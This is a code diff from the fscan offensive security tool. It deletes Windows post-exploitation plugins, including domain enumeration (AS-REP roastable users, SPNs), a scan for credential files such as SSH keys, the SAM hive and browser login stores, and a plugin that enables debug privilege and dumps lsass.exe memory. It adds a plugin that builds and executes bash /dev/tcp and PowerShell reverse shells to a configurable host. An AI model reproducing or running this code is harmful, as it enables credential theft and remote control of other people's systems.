common.LogSuccess("[*] 管理员组信息:") - for groupName, members := range adminGroups { - common.LogSuccess(fmt.Sprintf("[+] %s成员:", groupName)) - for _, member := range members { - common.LogSuccess(fmt.Sprintf(" %s", member)) - } - } - } - - // 获取委派信息 - delegations, err := di.GetDelegation() - if err == nil && len(delegations) > 0 { - common.LogSuccess("[*] 委派信息:") - for delegationType, entries := range delegations { - common.LogSuccess(fmt.Sprintf("[+] %s:", delegationType)) - for _, entry := range entries { - common.LogSuccess(fmt.Sprintf(" %s", entry)) - } - } - } - - // 获取AS-REP Roasting漏洞用户 - asrepUsers, err := di.GetAsrepRoastUsers() - if err == nil && len(asrepUsers) > 0 { - common.LogSuccess("[*] AS-REP弱口令账户:") - for _, user := range asrepUsers { - common.LogSuccess(fmt.Sprintf(" %s", user)) - } - } - - // 获取域密码策略 - passwordPolicy, err := di.GetPasswordPolicy() - if err == nil && len(passwordPolicy) > 0 { - common.LogSuccess("[*] 域密码策略:") - for key, value := range passwordPolicy { - common.LogSuccess(fmt.Sprintf(" %s: %s", key, value)) - } - } - - // 获取SPN信息 - spns, err := di.GetSPNs() - if err != nil { - common.LogError(fmt.Sprintf("获取SPN信息失败: %v", err)) - } else if len(spns) > 0 { - common.LogSuccess("[*] SPN信息:") - for dn, spnList := range spns { - common.LogSuccess(fmt.Sprintf("[+] %s", dn)) - for _, spn := range spnList { - common.LogSuccess(fmt.Sprintf(" %s", spn)) - } - } - } - - return nil -} - -// 辅助函数:从服务器地址获取域DN -func getDomainDN(server string) string { - parts := strings.Split(server, ".") - var dn []string - for _, part := range parts { - dn = append(dn, fmt.Sprintf("DC=%s", part)) - } - return strings.Join(dn, ",") -} diff --git a/Plugins/DCInfoUnix.go b/Plugins/DCInfoUnix.go deleted file mode 100644 index cee6095..0000000 --- a/Plugins/DCInfoUnix.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !windows - -package Plugins - -import "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - -func DCInfoScan(info *common.HostInfo) (err error) { - return nil -} diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go deleted file mode 100644 index 9f98d8f..0000000 --- a/Plugins/LocalInfo.go +++ /dev/null @@ -1,218 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/common" - "os" - "path/filepath" - "runtime" - "strings" -) - -var ( - // 文件扫描黑名单,跳过这些类型和目录 - blacklist = []string{ - ".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin", - ".dat", ".manifest", "locale", "winsxs", "windows\\sys", - } - - // 敏感文件关键词白名单 - whitelist = []string{ - "密码", "账号", "账户", "配置", "服务器", - "数据库", "备忘", "常用", "通讯录", - } - - // Linux系统关键配置文件路径 - linuxSystemPaths = []string{ - // Apache配置 - "/etc/apache/httpd.conf", - "/etc/httpd/conf/httpd.conf", - "/etc/httpd/httpd.conf", - "/usr/local/apache/conf/httpd.conf", - "/home/httpd/conf/httpd.conf", - "/usr/local/apache2/conf/httpd.conf", - "/usr/local/httpd/conf/httpd.conf", - "/etc/apache2/sites-available/000-default.conf", - "/etc/apache2/sites-enabled/*", - "/etc/apache2/sites-available/*", - "/etc/apache2/apache2.conf", - - // Nginx配置 - "/etc/nginx/nginx.conf", - "/etc/nginx/conf.d/nginx.conf", - - // 系统配置文件 - "/etc/hosts.deny", - "/etc/bashrc", - "/etc/issue", - "/etc/issue.net", - "/etc/ssh/ssh_config", - "/etc/termcap", - "/etc/xinetd.d/*", - "/etc/mtab", - "/etc/vsftpd/vsftpd.conf", - "/etc/xinetd.conf", - "/etc/protocols", - "/etc/logrotate.conf", - "/etc/ld.so.conf", - "/etc/resolv.conf", - "/etc/sysconfig/network", - "/etc/sendmail.cf", - "/etc/sendmail.cw", - - // proc信息 - "/proc/mounts", - "/proc/cpuinfo", - "/proc/meminfo", - "/proc/self/environ", - "/proc/1/cmdline", - "/proc/1/mountinfo", - "/proc/1/fd/*", - "/proc/1/exe", - "/proc/config.gz", - - // 用户配置文件 - "/root/.ssh/authorized_keys", - "/root/.ssh/id_rsa", - "/root/.ssh/id_rsa.keystore", - "/root/.ssh/id_rsa.pub", - "/root/.ssh/known_hosts", - "/root/.bash_history", - "/root/.mysql_history", - } - - // Windows系统关键配置文件路径 - windowsSystemPaths = []string{ - "C:\\boot.ini", - "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", - "C:\\windows\\repair\\sam", - "C:\\windows\\system32\\config\\sam", - } -) - -// LocalInfoScan 本地信息收集主函数 -func LocalInfoScan(info *common.HostInfo) (err error) { - common.LogBase("开始本地信息收集...") - - // 获取用户主目录 - home, err := os.UserHomeDir() - if err != nil { - common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err)) - return err - } - - // 扫描固定位置的敏感文件 - scanFixedLocations(home) - - // 根据规则搜索敏感文件 - searchSensitiveFiles() - - common.LogBase("本地信息收集完成") - return nil -} - -// scanFixedLocations 扫描固定位置的敏感文件 -func scanFixedLocations(home string) { - var paths []string - - switch runtime.GOOS { - case "windows": - // 添加Windows固定路径 - paths = append(paths, windowsSystemPaths...) - paths = append(paths, []string{ - filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), - filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"), - filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), - filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), - }...) - - case "linux": - // 添加Linux固定路径 - paths = append(paths, linuxSystemPaths...) - paths = append(paths, []string{ - filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"), - filepath.Join(home, ".mozilla", "firefox"), - }...) - } - - for _, path := range paths { - // 处理通配符路径 - if strings.Contains(path, "*") { - var _ = strings.ReplaceAll(path, "*", "") - if files, err := filepath.Glob(path); err == nil { - for _, file := range files { - checkAndLogFile(file) - } - } - continue - } - - checkAndLogFile(path) - } -} - -// checkAndLogFile 检查并记录敏感文件 -func checkAndLogFile(path string) { - if _, err := os.Stat(path); err == nil { - common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path)) - } -} - -// searchSensitiveFiles 搜索敏感文件 -func searchSensitiveFiles() { - var searchPaths []string - - switch runtime.GOOS { - case "windows": - // Windows下常见的敏感目录 - home, _ := os.UserHomeDir() - searchPaths = []string{ - "C:\\Users\\Public\\Documents", - "C:\\Users\\Public\\Desktop", - filepath.Join(home, "Desktop"), - filepath.Join(home, "Documents"), - filepath.Join(home, "Downloads"), - "C:\\Program Files", - "C:\\Program Files (x86)", - } - case "linux": - // Linux下常见的敏感目录 - home, _ := os.UserHomeDir() - searchPaths = []string{ - "/home", - "/opt", - "/usr/local", - "/var/www", - "/var/log", - filepath.Join(home, "Desktop"), - filepath.Join(home, "Documents"), - filepath.Join(home, "Downloads"), - } - } - - // 在限定目录下搜索 - for _, searchPath := range searchPaths { - filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { - if err != nil { - return nil - } - - // 跳过黑名单目录和文件 - for _, black := range blacklist { - if strings.Contains(strings.ToLower(path), black) { - return filepath.SkipDir - } - } - - // 检查白名单关键词 - for _, white := range whitelist { - fileName := strings.ToLower(info.Name()) - if strings.Contains(fileName, white) { - common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path)) - break - } - } - return nil - }) - } -} diff --git a/Plugins/MiniDump.go b/Plugins/MiniDump.go deleted file mode 100644 index 7d4d0a6..0000000 --- a/Plugins/MiniDump.go +++ /dev/null @@ -1,319 +0,0 @@ -//go:build windows - -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/sys/windows" - "os" - "path/filepath" - "syscall" - "unsafe" -) - -const ( - TH32CS_SNAPPROCESS = 0x00000002 - INVALID_HANDLE_VALUE = ^uintptr(0) - MAX_PATH = 260 - - PROCESS_ALL_ACCESS = 0x1F0FFF - SE_PRIVILEGE_ENABLED = 0x00000002 - - ERROR_SUCCESS = 0 -) - -type PROCESSENTRY32 struct { - dwSize uint32 - cntUsage uint32 - th32ProcessID uint32 - th32DefaultHeapID uintptr - th32ModuleID uint32 - cntThreads uint32 - th32ParentProcessID uint32 - pcPriClassBase int32 - dwFlags uint32 - szExeFile [MAX_PATH]uint16 -} - -type LUID struct { - LowPart uint32 - HighPart int32 -} - -type LUID_AND_ATTRIBUTES struct { - Luid LUID - Attributes uint32 -} - -type TOKEN_PRIVILEGES struct { - PrivilegeCount uint32 - Privileges [1]LUID_AND_ATTRIBUTES -} - -// ProcessManager 处理进程相关操作 -type ProcessManager struct { - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// 创建新的进程管理器 -func NewProcessManager() (*ProcessManager, error) { - kernel32, err := syscall.LoadDLL("kernel32.dll") - if err != nil { - return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) - } - - dbghelp, err := syscall.LoadDLL("Dbghelp.dll") - if err != nil { - return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) - } - - advapi32, err := syscall.LoadDLL("advapi32.dll") - if err != nil { - return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) - } - - return &ProcessManager{ - kernel32: kernel32, - dbghelp: dbghelp, - advapi32: advapi32, - }, nil -} - -func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { - proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot") - handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) - if handle == uintptr(INVALID_HANDLE_VALUE) { - return 0, fmt.Errorf("创建进程快照失败: %v", err) - } - return handle, nil -} - -func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { - var pe32 PROCESSENTRY32 - pe32.dwSize = uint32(unsafe.Sizeof(pe32)) - - proc32First := pm.kernel32.MustFindProc("Process32FirstW") - proc32Next := pm.kernel32.MustFindProc("Process32NextW") - lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW") - - ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - return 0, fmt.Errorf("获取第一个进程失败") - } - - for { - ret, _, _ = lstrcmpi.Call( - uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))), - uintptr(unsafe.Pointer(&pe32.szExeFile[0])), - ) - - if ret == 0 { - return pe32.th32ProcessID, nil - } - - ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - break - } - } - - return 0, fmt.Errorf("未找到进程: %s", name) -} - -func (pm *ProcessManager) closeHandle(handle uintptr) { - proc := pm.kernel32.MustFindProc("CloseHandle") - proc.Call(handle) -} - -func (pm *ProcessManager) ElevatePrivileges() error { - handle, err := pm.getCurrentProcess() - if err != nil { - return err - } - - var token syscall.Token - err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) - if err != nil { - return fmt.Errorf("打开进程令牌失败: %v", err) - } - defer token.Close() - - var tokenPrivileges TOKEN_PRIVILEGES - - lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") - ret, _, err := lookupPrivilegeValue.Call( - 0, - uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))), - uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), - ) - if ret == 0 { - return fmt.Errorf("查找特权值失败: %v", err) - } - - tokenPrivileges.PrivilegeCount = 1 - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED - - adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") - ret, _, err = adjustTokenPrivileges.Call( - uintptr(token), - 0, - uintptr(unsafe.Pointer(&tokenPrivileges)), - 0, - 0, - 0, - ) - if ret == 0 { - return fmt.Errorf("调整令牌特权失败: %v", err) - } - - return nil -} - -func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { - proc := pm.kernel32.MustFindProc("GetCurrentProcess") - handle, _, _ := proc.Call() - if handle == 0 { - return 0, fmt.Errorf("获取当前进程句柄失败") - } - return syscall.Handle(handle), nil -} - -func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error { - processHandle, err := pm.openProcess(pid) - if err != nil { - return err - } - defer pm.closeHandle(processHandle) - - fileHandle, err := pm.createDumpFile(outputPath) - if err != nil { - return err - } - defer pm.closeHandle(fileHandle) - - miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump") - ret, _, err := miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - 0x00061907, // MiniDumpWithFullMemory - 0, - 0, - 0, - ) - - if ret == 0 { - return fmt.Errorf("写入转储文件失败: %v", err) - } - - return nil -} - -func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { - proc := pm.kernel32.MustFindProc("OpenProcess") - handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) - if handle == 0 { - return 0, fmt.Errorf("打开进程失败: %v", err) - } - return handle, nil -} - -func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { - pathPtr, err := syscall.UTF16PtrFromString(path) - if err != nil { - return 0, err - } - - createFile := pm.kernel32.MustFindProc("CreateFileW") - handle, _, err := createFile.Call( - uintptr(unsafe.Pointer(pathPtr)), - syscall.GENERIC_WRITE, - 0, - 0, - syscall.CREATE_ALWAYS, - syscall.FILE_ATTRIBUTE_NORMAL, - 0, - ) - - if handle == INVALID_HANDLE_VALUE { - return 0, fmt.Errorf("创建文件失败: %v", err) - } - - return handle, nil -} - -// 查找目标进程 -func (pm *ProcessManager) FindProcess(name string) (uint32, error) { - snapshot, err := pm.createProcessSnapshot() - if err != nil { - return 0, err - } - defer pm.closeHandle(snapshot) - - return pm.findProcessInSnapshot(snapshot, name) -} - -// 检查是否具有管理员权限 -func IsAdmin() bool { - var sid *windows.SID - err := windows.AllocateAndInitializeSid( - &windows.SECURITY_NT_AUTHORITY, - 2, - windows.SECURITY_BUILTIN_DOMAIN_RID, - windows.DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, - &sid) - if err != nil { - return false - } - defer windows.FreeSid(sid) - - token := windows.Token(0) - member, err := token.IsMember(sid) - return err == nil && member -} - -func MiniDump(info *common.HostInfo) (err error) { - // 先检查管理员权限 - if !IsAdmin() { - common.LogError("需要管理员权限才能执行此操作") - return fmt.Errorf("需要管理员权限才能执行此操作") - } - - pm, err := NewProcessManager() - if err != nil { - common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err)) - return fmt.Errorf("初始化进程管理器失败: %v", err) - } - - // 查找 lsass.exe - pid, err := pm.FindProcess("lsass.exe") - if err != nil { - common.LogError(fmt.Sprintf("查找进程失败: %v", err)) - return fmt.Errorf("查找进程失败: %v", err) - } - common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid)) - - // 提升权限 - if err := pm.ElevatePrivileges(); err != nil { - common.LogError(fmt.Sprintf("提升权限失败: %v", err)) - return fmt.Errorf("提升权限失败: %v", err) - } - common.LogSuccess("成功提升进程权限") - - // 创建输出路径 - outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid)) - - // 执行转储 - if err := pm.DumpProcess(pid, outputPath); err != nil { - os.Remove(outputPath) - common.LogError(fmt.Sprintf("进程转储失败: %v", err)) - return fmt.Errorf("进程转储失败: %v", err) - } - - common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath)) - return nil -} diff --git a/Plugins/MiniDumpUnix.go b/Plugins/MiniDumpUnix.go deleted file mode 100644 index 9d096b9..0000000 --- a/Plugins/MiniDumpUnix.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !windows - -package Plugins - -import "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - -func MiniDump(info *common.HostInfo) (err error) { - return nil -} diff --git a/Plugins/local/reverseshell/plugin.go b/Plugins/local/reverseshell/plugin.go new file mode 100644 index 0000000..820db2b --- /dev/null +++ b/Plugins/local/reverseshell/plugin.go @@ -0,0 +1,336 @@ +package reverseshell + +import ( + "context" + "fmt" + "net" + "os" + "os/exec" + "runtime" + "strconv" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// ReverseShellPlugin 反弹Shell插件 +type ReverseShellPlugin struct { + *local.BaseLocalPlugin + connector *ReverseShellConnector + target string // 目标地址:端口 +} + +// ReverseShellConnector 反弹Shell连接器 +type ReverseShellConnector struct { + *local.BaseLocalConnector + host string + port int +} + +// ReverseShellConnection 反弹Shell连接对象 +type ReverseShellConnection struct { + *local.LocalConnection + Target string + Host string + Port int +} + +// NewReverseShellPlugin 创建反弹Shell插件 +func NewReverseShellPlugin() *ReverseShellPlugin { + // 从全局参数获取反弹Shell目标 + target := common.ReverseShellTarget + if target == "" { + // 如果没有指定目标,使用默认值 + target = "127.0.0.1:4444" + } + + metadata := &base.PluginMetadata{ + Name: "reverseshell", + Version: "1.0.0", + Author: "fscan-team", + Description: "反弹Shell本地插件,支持Windows/Linux/macOS", + Category: "local", + Tags: []string{"local", "shell", "reverse", "crossplatform"}, + Protocols: []string{"local"}, + } + + connector := NewReverseShellConnector(target) + plugin := &ReverseShellPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), + connector: connector, + target: target, + } + + // 设置支持的平台 + plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 不需要特殊权限 + plugin.SetRequiresPrivileges(false) + + return plugin +} + +// NewReverseShellConnector 创建反弹Shell连接器 +func NewReverseShellConnector(target string) *ReverseShellConnector { + baseConnector, _ := local.NewBaseLocalConnector() + + host, portStr, err := net.SplitHostPort(target) + if err != nil { + host = target + portStr = "4444" // 默认端口 + } + + port, err := strconv.Atoi(portStr) + if err != nil { + port = 4444 // 默认端口 + } + + return &ReverseShellConnector{ + BaseLocalConnector: baseConnector, + host: host, + port: port, + } +} + +// Connect 建立反弹Shell连接 +func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { + // 先建立基础本地连接 + localConn, err := c.BaseLocalConnector.Connect(ctx, info) + if err != nil { + return nil, err + } + + baseConn := localConn.(*local.LocalConnection) + + // 测试目标地址连通性 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", c.host, c.port), 5*time.Second) + if err != nil { + return nil, fmt.Errorf("无法连接到目标地址 %s:%d: %v", c.host, c.port, err) + } + conn.Close() + + reverseShellConn := &ReverseShellConnection{ + LocalConnection: baseConn, + Target: fmt.Sprintf("%s:%d", c.host, c.port), + Host: c.host, + Port: c.port, + } + + return reverseShellConn, nil +} + +// Close 关闭反弹Shell连接 +func (c *ReverseShellConnector) Close(conn interface{}) error { + return c.BaseLocalConnector.Close(conn) +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行反弹Shell扫描 +func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始反弹Shell准备...") + + // 建立连接 + conn, err := p.connector.Connect(ctx, info) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("连接失败: %v", err), + }, nil + } + defer p.connector.Close(conn) + + reverseShellConn := conn.(*ReverseShellConnection) + + // 生成反弹Shell命令 + commands := p.generateReverseShellCommands() + currentOS := runtime.GOOS + command, exists := commands[currentOS] + if !exists { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS), + }, nil + } + + result := &base.ScanResult{ + Success: true, + Service: "ReverseShell", + Banner: fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS), + Extra: map[string]interface{}{ + "target": reverseShellConn.Target, + "platform": currentOS, + "command": command, + "status": "ready", + "commands": commands, + }, + } + + common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成,目标: %s,平台: %s", reverseShellConn.Target, currentOS)) + return result, nil +} + +// GetLocalData 获取反弹Shell本地数据 +func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + + // 获取系统信息 + data["plugin_type"] = "reverseshell" + data["platform"] = runtime.GOOS + data["arch"] = runtime.GOARCH + data["target"] = p.target + + if homeDir, err := os.UserHomeDir(); err == nil { + data["home_dir"] = homeDir + } + + if workDir, err := os.Getwd(); err == nil { + data["work_dir"] = workDir + } + + // 生成命令 + data["commands"] = p.generateReverseShellCommands() + + return data, nil +} + +// ExtractData 提取数据并执行反弹Shell +func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + commands, ok := data["commands"].(map[string]string) + if !ok { + return &base.ExploitResult{ + Success: false, + Error: fmt.Errorf("无法获取反弹Shell命令"), + }, nil + } + + currentOS := runtime.GOOS + command, exists := commands[currentOS] + if !exists { + return &base.ExploitResult{ + Success: false, + Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS), + }, nil + } + + common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command)) + + // 执行反弹Shell命令 + result, err := p.executeReverseShell(ctx, command) + if err != nil { + common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err)) + return &base.ExploitResult{ + Success: false, + Error: err, + Extra: map[string]interface{}{ + "command": command, + "platform": currentOS, + "target": p.target, + }, + }, nil + } + + common.LogSuccess("反弹Shell执行完成") + return &base.ExploitResult{ + Success: true, + Output: fmt.Sprintf("反弹Shell已执行,目标: %s", p.target), + Data: data, + Extra: map[string]interface{}{ + "command": command, + "platform": currentOS, + "target": p.target, + "output": result, + }, + }, nil +} + +// generateReverseShellCommands 生成不同平台的反弹Shell命令 +func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string { + host, portStr, _ := net.SplitHostPort(p.target) + if host == "" { + host = p.target + portStr = "4444" + } + + commands := map[string]string{ + "linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr), + "darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr), + "windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr), + } + + return commands +} + +// executeReverseShell 执行反弹Shell命令 +func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) { + var cmd *exec.Cmd + + switch runtime.GOOS { + case "windows": + // Windows PowerShell命令 + cmd = exec.CommandContext(ctx, "powershell", "-Command", command) + case "linux", "darwin": + // Unix-like系统使用bash + cmd = exec.CommandContext(ctx, "bash", "-c", command) + default: + return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS) + } + + // 设置超时 + timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second) + defer cancel() + + cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...) + + output, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output)) + } + + return string(output), nil +} + +// GetInfo 获取插件信息 +func (p *ReverseShellPlugin) GetInfo() string { + commands := p.generateReverseShellCommands() + var info strings.Builder + + info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target)) + info.WriteString("支持的平台命令:\n") + + for platform, command := range commands { + info.WriteString(fmt.Sprintf(" %s: %s\n", platform, command)) + } + + return info.String() +} + +// RegisterReverseShellPlugin 注册反弹Shell插件 +func RegisterReverseShellPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "reverseshell", + Version: "1.0.0", + Author: "fscan-team", + Description: "反弹Shell本地插件,支持Windows/Linux/macOS", + Category: "local", + Tags: []string{"reverseshell", "local", "shell", "crossplatform"}, + Protocols: []string{"tcp"}, + }, + func() base.Plugin { + return NewReverseShellPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("reverseshell", factory) +} + +// init 插件注册函数 +func init() { + RegisterReverseShellPlugin() +} \ No newline at end of file diff --git a/main.go b/main.go index c56efdb..426a5a4 100644 --- a/main.go +++ b/main.go @@ -11,6 +11,7 @@ import ( _ "github.com/shadow1ng/fscan/plugins/local/fileinfo" _ "github.com/shadow1ng/fscan/plugins/local/dcinfo" _ "github.com/shadow1ng/fscan/plugins/local/minidump" + _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" ) func main() { @@ -33,5 +34,5 @@ func main() { defer common.CloseOutput() // 执行 CLI 扫描逻辑 - core.Scan(Info) + core.RunScan(Info) }